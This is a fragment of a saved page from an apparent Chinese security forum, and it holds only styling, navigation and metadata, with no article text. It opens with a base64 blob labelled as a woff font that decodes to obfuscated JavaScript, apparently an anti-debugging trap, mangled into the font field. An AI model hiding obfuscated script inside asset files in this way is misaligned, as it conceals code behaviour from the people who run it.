Z0cmMnLC0nMHgyMDknKSwncWVSZngnOm9zKCcweDIzYScsJzB4MWU3JyksJ29kTElHJzonZ2dlcicsJ0FZZWZrJzpvOSgtJzB4ZWMnLC0nMHhhNicpKyduJywndURHQVUnOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEc9PT12O30sJ3Vhb1NrJzpvOSgnMHgzYycsLScweDUzJyksJ3BDUmxEJzpmdW5jdGlvbihHLHYpe3JldHVybiBHK3Y7fSwndXNuTmgnOm85KC0nMHg2ZScsLScweDQyJykrb0QoLScweDlkJywnKEdSdycpKyd0JywnTnREbUMnOmZ1bmN0aW9uKEcsdil7cmV0dXJuIEcodik7fSwnYUxKRUwnOmZ1bmN0aW9uKEcpe3JldHVybiBHKCk7fSwnSWdZUGYnOidjZVNBcycsJ2FFRGRMJzpmdW5jdGlvbihHLHYpe3JldHVybiBHIT09djt9LCdmS1lmcCc6b28oJ0k3c0knLC0nMHgxOTgnKSwnWUJpclQnOm9zKCcweDI1NScsJzB4MjIxJyl9O2Z1bmN0aW9uIHEoRyl7ZnVuY3Rpb24gb2IobyxzKXtyZXR1cm4gb0Qoby0nMHgyMWInLHMpO31mdW5jdGlvbiBvdShvLHMpe3JldHVybiBvcyhzLG8tIC0nMHhhZicpO312YXIgdj17J1hCS2hvJzpmdW5jdGlvbihyLEwsZil7cmV0dXJuIHNbJ0RkeEVlJ10ocixMLGYpO30sJ0loSnJMJzpmdW5jdGlvbihyLEwsZil7ZnVuY3Rpb24gb3EobyxzKXtyZXR1cm4gUihvLSAtJzB4MjI5JyxzKTt9cmV0dXJuIHNbb3EoLScweDE0ZicsLScweDEyMycpXShyLEwsZik7fX07aWYoc1sndG1zQnknXSh0eXBlb2YgRyxzW29iKCcweDE3ZicsJ29hM0knKV0pKXJldHVybiBmdW5jdGlvbihyKXt9Wydjb25zdCcrb2IoJzB4MWNjJywnRHJCdicpKydyJ10oc1sncXBjQUYnXSlbJ2FwcGx5J10oc1tvUignMHg0YTMnLCdiZ2hrJyldKTtlbHNle2lmKHNbb3UoJzB4MTAyJywnMHhiOCcpXShzW29HKCcweDJiOCcsJzB4MjJhJyldKCcnLHNbb1IoJzB4NDUzJywnJCgwSCcpXShHLEcpKVtzW29SKCcweDQyZicsJ29hM0knKV1dLDB4NCoweDk1KzB4N2I0Ky0weGEwNyl8fHNbb1IoJzB4NTBjJywncW81TScpXShzW29SKCcweDUzNicsJyhHUncnKV0oRywweDU0MSsweDMqLTB4NjljKzB4NzkqMHgxZiksLTB4MTQzNCstMHgzMjQrMHgzZTQqMHg2KSlzWydQYmZkSiddKHNbJ1dwc3NBJ10sc1tvUignMHg1MWEnLCd6NmptJyldKT9mdW5jdGlvbigpe2Z1bmN0aW9uIG9yKG8scyl7cmV0dXJuIG91KG8tIC0nMHgxNycscyk7fWZ1bmN0aW9uIG92KG8scyl7cmV0dXJuIG91KHMtIC0nMHgzYWYnLG8pO31pZihzWydocG1CTyddKHNbb3YoLScweDJmYicsLScweDI1MScpXSxzW292KC0nMHgyNjMnLC0nMHgyNTEnKV0pKXJldHVybiEhW107ZWxzZXt2YXIgTD12WydYQktobyddKHYscixMKTt2W292KC0nMHgxZDgnLC0nMHgxYTYnKV0oZixoLEwpO319W29iKCcweDE0ZCcsJ0k0XVsnKStvRygnMHgxZjMnLCcweDI3ZScpKydyJ10oc1tvUignMHg0ZDUnLCc1RURJJyldKHNbJ3FlUmZ4J10sc1tvRygnMHgyNjcnLCcweDIwMCcpXSkpWydjYWxsJ10oc1tvUignMHg0MmMnLCcxTnVoJyldKTpHPXZbc1tvYignMHgxYTknLCc0NyF6JyldKHJbb0coJzB4MjQyJywnMHgxZDMnKStvRygnMHgyYTQnLCcweDIyNycpXShMKyspLC0weDU3ZCsweDUqLTB4N2NjKzB4MmQ3OCldO2Vsc2V7aWYoc1tvUignMHg0YmInLCczbkBpJyldKHNbb3UoJzB4MWRkJywnMHgyMGQnKV0sc1tvdSgnMHgxZGQnLCcweDFjOCcpXSkpKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gb2YobyxzKXtyZXR1cm4gb0cobyxzLSAtJzB4ODEnKTt9ZnVuY3Rpb24gb2gobyxzKXtyZXR1cm4gb1Ioby0gLScweDQ4OScscyk7fWZ1bmN0aW9uIG9MKG8scyl7cmV0dXJuIG9iKG8tIC0nMHgzYmUnLHMpO31pZihzW29MKC0nMHgyMDQnLCckKDBIJyldKHNbb2YoJzB4YTMnLCcweDEzMScpXSxzW29MKC0nMHgyOWInLCclKSN6JyldKSlyZXR1cm4hW107ZWxzZSBmb3IodmFyIGYgaW4gRyl7dlsnSWhKckwnXShmLGgsU1tmXSk7fX1bb3UoJzB4MTk3JywnMHgxYzgnKStvRygnMHgyMjYnLCcweDI3ZScpKydyJ10oc1tvRygnMHgxZWEnLCcweDFlOScpXShzW291KCcweGRkJywnMHg0MScpXSxzW29SKCcweDRiOScsJ0xbOSUnKV0pKVtvRygnMHgyYWEnLCcweDIwZCcpXShzW29iKCcweDE1YScsJyhHUncnKV0pKTtlbHNle2lmKEcpe3ZhciBmPWZbb3UoJzB4MTcwJywnMHhjNicpXShoLGFyZ3VtZW50cyk7cmV0dXJuIFM9bnVsbCxmO319fX1mdW5jdGlvbiBvUihvLHMpe3JldHVybiBvRChvLScweDU2Zicscyk7fWZ1bmN0aW9uIG9HKG8scyl7cmV0dXJuIG9zKG8scy0gLScweDEyJyk7fXNbb0coJzB4MTQ1JywnMHgxZjInKV0ocSwrK0cpO31mdW5jdGlvbiBvbyhvLHMpe3JldHVybiB1KHMtIC0nMHgyZGYnLG8pO31mdW5jdGlvbiBvOShvLHMpe3JldHVybiBSKG8tIC0nMHgxNmInLHMpO31mdW5jdGlvbiBvcyhvLHMpe3JldHVybiBSKHMtJzB4ZjgnLG8pO31mdW5jdGlvbiBvRChvLHMpe3JldHVybiB1KG8tIC0nMHgxYzcnLHMpO310cnl7aWYoc1tvRCgtJzB4MTUzJywnWjZKbycpXShzW29zKCcweDM0YycsJzB4MmEwJyldLHNbbzkoJzB4M2QnLC0nMHgzNScpXSkpe2lmKG8pcmV0dXJuIHE7ZWxzZSBzW29EKC0nMHgxMGEnLCdEckJ2JyldKHNbb28oJzhNJm0nLC0nMHgxZTknKV0sc1tvcygnMHgxY2InLCcweDIzMicpXSk/c1tvcygnMHgyMDgnLCcweDIwNCcpXShxLC0weDE5OTcrLTB4N2Q0Ki0weDErMHgxMWMzKjB4MSk6c1tvOSgtJzB4MTMnLCcweDRiJyldKG8pO31lbHNlIHJldHVybiEhW107fWNhdGNoKHIpe319CiAgICA8L3NjcmlwdD4KPC9ib2R5PgoKPC9odG1sPg==)format("woff");font-weight:400;font-style:normal}@keyframes a{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@keyframes b{0%{opacity:0;transform-origin:0 0;transform:translateX(100%)}to{opacity:1;transform-origin:0 0;transform:translateX(0)}}@keyframes c{0%{transform-origin:0 0;transform:translateX(0);opacity:1}to{transform-origin:0 0;transform:translateX(100%);opacity:0}}@keyframes d{0%{opacity:0;transform-origin:0 0;transform:translateX(-100%)}to{opacity:1;transform-origin:0 0;transform:translateX(0)}}@keyframes e{0%{transform-origin:0 0;transform:translateX(0);opacity:1}to{transform-origin:0 0;transform:translateX(-100%);opacity:0}}@media only screen and (max-width:767px){}@media only screen and (min-width:768px){}@media only screen and (min-width:992px){}@media only screen and (min-width:1200px){}@media only screen and (min-width:1920px){}@keyframes f{0%{width:0;opacity:.1}20%{width:0;opacity:.5}to{width:100%;opacity:0}}@keyframes g{to{transform:rotate(1turn)}}@keyframes h{0%{stroke-dasharray:1,150;stroke-dashoffset:0}50%{stroke-dasharray:90,150;stroke-dashoffset:-35}to{stroke-dasharray:90,150;stroke-dashoffset:-124}}@keyframes i{0%{transform:translate3d(0,-20px,0);opacity:0}to{transform:translateZ(0);opacity:1}}@keyframes j{0%{transform:translateZ(0);opacity:1}to{transform:translate3d(0,-20px,0);opacity:0}}@keyframes k{0%{opacity:0}to{opacity:1}}@keyframes l{0%{transform:translate(100%)}to{transform:translate(0)}}@keyframes m{0%{transform:translate(0)}to{transform:translate(100%)}}@keyframes n{0%{transform:translate(-100%)}to{transform:translate(0)}}@keyframes o{0%{transform:translate(0)}to{transform:translate(-100%)}}@keyframes p{0%{transform:translateY(-100%)}to{transform:translate(0)}}@keyframes q{0%{transform:translate(0)}to{transform:translateY(-100%)}}@keyframes r{0%{transform:translateY(100%)}to{transform:translate(0)}}@keyframes s{0%{transform:translate(0)}to{transform:translateY(100%)}}@media only screen and (min-width:1600px){}@keyframes t{0%{background-position:100% 50%}to{background-position:0 50%}}</style>
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-comment{color:green}.hljs-built_in,.hljs-keyword{color:#00f}.hljs-literal,.hljs-string,.hljs-title,.hljs-type{color:#a31515}.hljs-meta{color:#2b91af}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#FFEBE9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#ffffff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body a{background-color:transparent;color:var(--color-accent-fg);text-decoration:none}.markdown-body a:active,.markdown-body a:hover{outline-width:0}.markdown-body strong{font-weight:600}.markdown-body h1{margin:0.67em 0;padding-bottom:0.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:0.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body a:hover{text-decoration:underline}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:0.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-weight:600;font-size:1.25em}.markdown-body h4{font-weight:600;font-size:1em}.markdown-body blockquote{margin:0;padding:0 1em;color:var(--color-fg-muted);border-left:0.25em solid var(--color-border-default)}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0!important}.markdown-body>*:last-child{margin-bottom:0!important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body p,.markdown-body blockquote,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h4 code{padding:0 0.2em;font-size:inherit}.markdown-body code{padding:0.2em 0.4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:normal;white-space:pre;background:transparent}.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
<!--[if lt IE 9]>
<script src="/static/js/html5shiv.min.js"></script>
<script src="/static/js/respond.min.js"></script>
<![endif]-->
<style>.hot{z-index:10}</style>
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@keyframes geetest_wait_compute{60%{-moz-transform:scale(0.75);-ms-transform:scale(0.75);-webkit-transform:scale(0.75);transform:scale(0.75)}}@-webkit-keyframes geetest_wait_compute{60%{-moz-transform:scale(0.75);-ms-transform:scale(0.75);-webkit-transform:scale(0.75);transform:scale(0.75)}}@keyframes geetest_scan{50%{top:100%}}@-webkit-keyframes geetest_scan{50%{top:100%}}@keyframes geetest_success_correct{0%{-moz-transform:translate(-28px,28px);-ms-transform:translate(-28px,28px);-webkit-transform:translate(-28px,28px);transform:translate(-28px,28px)}30%{-moz-transform:translate(-28px,28px);-ms-transform:translate(-28px,28px);-webkit-transform:translate(-28px,28px);transform:translate(-28px,28px)}90%{-moz-transform:translate(3px,-2px);-ms-transform:translate(3px,-2px);-webkit-transform:translate(3px,-2px);transform:translate(3px,-2px)}100%{-moz-transform:translate(1px,0);-ms-transform:translate(1px,0);-webkit-transform:translate(1px,0);transform:translate(1px,0)}}@-webkit-keyframes geetest_success_correct{0%{-moz-transform:translate(-28px,28px);-ms-transform:translate(-28px,28px);-webkit-transform:translate(-28px,28px);transform:translate(-28px,28px)}30%{-moz-transform:translate(-28px,28px);-ms-transform:translate(-28px,28px);-webkit-transform:translate(-28px,28px);transform:translate(-28px,28px)}90%{-moz-transform:translate(3px,-2px);-ms-transform:translate(3px,-2px);-webkit-transform:translate(3px,-2px);transform:translate(3px,-2px)}100%{-moz-transform:translate(1px,0);-ms-transform:translate(1px,0);-webkit-transform:translate(1px,0);transform:translate(1px,0)}}@keyframes geetest_success_pie{25%{-moz-transform:rotate(25deg);-ms-transform:rotate(25deg);-webkit-transform:rotate(25deg);transform:rotate(25deg)}100%{-moz-transform:rotate(-275deg);-ms-transform:rotate(-275deg);-webkit-transform:rotate(-275deg);transform:rotate(-275deg)}}@-webkit-keyframes geetest_success_pie{25%{-moz-transform:rotate(25deg);-ms-transform:rotate(25deg);-webkit-transform:rotate(25deg);transform:rotate(25deg)}100%{-moz-transform:rotate(-275deg);-ms-transform:rotate(-275deg);-webkit-transform:rotate(-275deg);transform:rotate(-275deg)}}@keyframes geetest_success_mask{50.9%{opacity:1}51%{opacity:0}100%{opacity:0}}@-webkit-keyframes geetest_success_mask{50.9%{opacity:1}51%{opacity:0}100%{opacity:0}}@keyframes geetest_success_filter{50.9%{opacity:0}51%{opacity:1}100%{opacity:1}}@-webkit-keyframes geetest_success_filter{50.9%{opacity:0}51%{opacity:1}100%{opacity:1}}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@keyframes geetest_shake{25%{margin-left:-6px}75%{margin-left:6px}100%{margin-left:0}}@-webkit-keyframes geetest_shake{25%{margin-left:-6px}75%{margin-left:6px}100%{margin-left:0}}.geetest_wind.geetest_panel{opacity:0;position:fixed;z-index:2147483647;left:0;top:0;height:100%;width:100%;-moz-transition:opacity .5s;-o-transition:opacity .5s;-webkit-transition:opacity .5s;transition:opacity .5s}@media all and (orientation:portrait){}@media all and (orientation:landscape){}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media (-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}12%{box-shadow:100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}25%{box-shadow:110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}36%{box-shadow:120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0)}50%{box-shadow:130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color)}62%{box-shadow:200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color)}75%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color)}87%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color)}100%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0)}}@media screen and (max-width:768px){}@media screen and (max-width:768px){}@media screen and (max-width:768px){}@keyframes image-loading-rotate{from{transform:rotate(360deg)}to{transform:rotate(0deg)}}</style><meta name=referrer content=no-referrer><link rel=icon href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIEAAACBCAMAAADQfiliAAAAY1BMVEVHcEzNAA/NAA8GNpMGNpPNAA8GNpMGNpPNAA8GNpPNAA/NAA/NAA8GNpMGNpMGNpMGNpMGNpMGNpMGNpMGNpPNAA/NAA/NAA/NAA/NAA8GNpPNAA/NAA/NAA8GNpMGNpPNAA8QvAnvAAAAH3RSTlMAEOCgEKAgQEDwYPAgwIDg0DBgcLCwwFAw0FCAcJCQbb0zfgAAAAlwSFlzAAALEgAACxIB0t1+/AAABD9JREFUeJztmt12qjAQhQEFiiIoakErhvd/yrOACEnIJDFM4OLw3bWFld2ZzUz+vI3/no2NjSXZF2uHO4tWFrA/rSzA211XFhCRtZNwO68sICZrJ+G0dhJisnYS8rWTUJC1k5CvnYSMLJCEMoX/tk+cJ6Gqj4Hizxlxm4SqDpqm+YMfiBKXSUhfj6ZDkYQdcZYE/zN809zhpyLiKAn+4d6MlPCDN+IkCWXYsCh8GBNCyAk5C2V4bHgUPjyRjmyPNnxvfQHYh09CyZ8ow6ey4ZU+zMnA/FSko/UFYB8WhCHJ5gzvH36B4VU+3OeEI4+th7+Dwyt9mBGRm00qptYX8KE325YkYpGKH/XwTROCr05D0PJ1JrQKfqA3I6kAfAWwD3cLKXhBLwIhwFcA+vC0kALQhzEgAF0B6EMoBNgKQB8+IQHYCkAf5kspgHxY8KOenSmAfMi1pNs1KpwpgHw41ON8185MLs6yAPmQtqTz9cL+6ELBAXjnTUhyK4apIf9hYio4Aj6M8jc7zNvdtwD3ZRaxMmAqqEzev4jTFEQFD5PX92fiTgHkQ46bKABRAeRDjutEAKICEx/KWjSeAgMfyibLeApMfDhxIaoCAx/Kp6pYCgx8WEgFoCnQ+3BSipAVKLauesRVK7aCX+1701KEq0DmQy4s8jUjnoKj+JR/uB9ZVeBqAUtBzT1S/T2ExESAC/EUjAH3y5DuLTFzxmlDxFbw+XfT133yOw9eNfdcvlXgQz4s+Y01JgRAKaJ8K8DzZD5MD3dha4epUBelABQFD8m23ugMsBT1JN8rgLfx5CEAF809FgfgoYEApk+91QLI7nsFLwMF45YivGqnWOz0azfT2BBADXHk649RakWRYRdBWYo6LIzoecot3YZbwCpLka0NPO+gUzC0JMncXMTqOoysKkpDoGiIQxLszlo03+OnHkvn5hhJ0H0NQ0vSutDyS2iBDle4EOhKEbEriD0qL34OmdQNkWJ7xqIMAm1J+lI0JwQqJ9CWpC9FZFYIFFWJhgCcm7PcZgjwUuCsibYkeG7OYFkLPsg7JG1JBqXIthwySCcqfQhUc/ORWTlo8SV5CPoQGLkwn3/2XU0V9C1J3xBbE9hWQ5ZJXepbklEpmm2CnloWAs3cnDLr0JuBb5JdS9LMzSmWLVEnoWtJmrk5tgBOQhcCo1KEKYCVUJnMzfEFjBJC04b4RhYwfJSpYUN0cVO7PNIQGJSiZE5Dhqn7lmQwNz87upAWdC3JoBTt8O5BcVRdCPRz8wTnEpSEulsoaj9E7MtoDEHfki7Kcpg4vJlaDQvFAu4JVveOTKnHheI+k5vB+u6VGQG3dympCfPun+kphX31SJyoI15FlBNOjvxj1pI799fDj5LbiB8NyXuB6+ml/HSl1ZA7j39HCB0wxc4qoECgPWByTKW4lrsMfybH3U4BL4FtbGxsbKDhed4/toAFv6EfLCYAAAAASUVORK5CYII="><style>.sf-hidden{display:none!important}</style><link rel=canonical href=https://forum.butian.net/share/4114><meta http-equiv=content-security-policy content="default-src 'none'; font-src 'self' data:; img-src 'self' data:; style-src 'unsafe-inline'; media-src 'self' data:; script-src 'unsafe-inline' data:; object-src 'self' data:; frame-src 'self' data:;"></head>
<body>
<div class="global-nav mb-50">
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container nav">
<div class="visible-xs header-response sf-hidden">
</div>
<div class="row hidden-xs">
<div class="col-sm-9 col-md-9 col-lg-9">
<div class=navbar-header>
<button type=button class="navbar-toggle collapsed sf-hidden" data-toggle=collapse data-target=#global-navbar>
</button>
<div class=logo><a class="navbar-brand logo" href=https://forum.butian.net/></a></div>
</div>
<div class="collapse navbar-collapse" id=global-navbar>
<ul class="nav navbar-nav">
<li><a href=https://forum.butian.net/>首页 <span class=sr-only>(current)</span></a></li>
<li><a href=https://forum.butian.net/questions>问答</a></li>
<li><a href=https://forum.butian.net/shop>商城</a></li>
<li><a href=https://forum.butian.net/community>实战攻防技术</a></li>
<li><a href=https://forum.butian.net/articles>漏洞分析与复现</a>
<span class=hot>NEW</span>
</li>
<li><a href=https://forum.butian.net/movable>活动</a></li>
<li><a href=https://forum.butian.net/questions/Play>摸鱼办</a>
</li>
</ul>
<form role=search id=top-search-form action=https://forum.butian.net/search method=GET class="navbar-form hidden-sm hidden-xs pull-right">
<span class="btn btn-link"><span class=sr-only>搜索</span><span class="glyphicon glyphicon-search"></span></span>
<input type=text name=word id=searchBox class=form-control placeholder value>
</form>
</div>
</div>
</div>
</div>
</nav>
</div>
<div class="top-alert mt-60 clearfix text-center">
<!--[if lt IE 9]>
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
</div>
<![endif]-->
</div>
<div class=wrap>
<div class=container>
<div class="row mt-10">
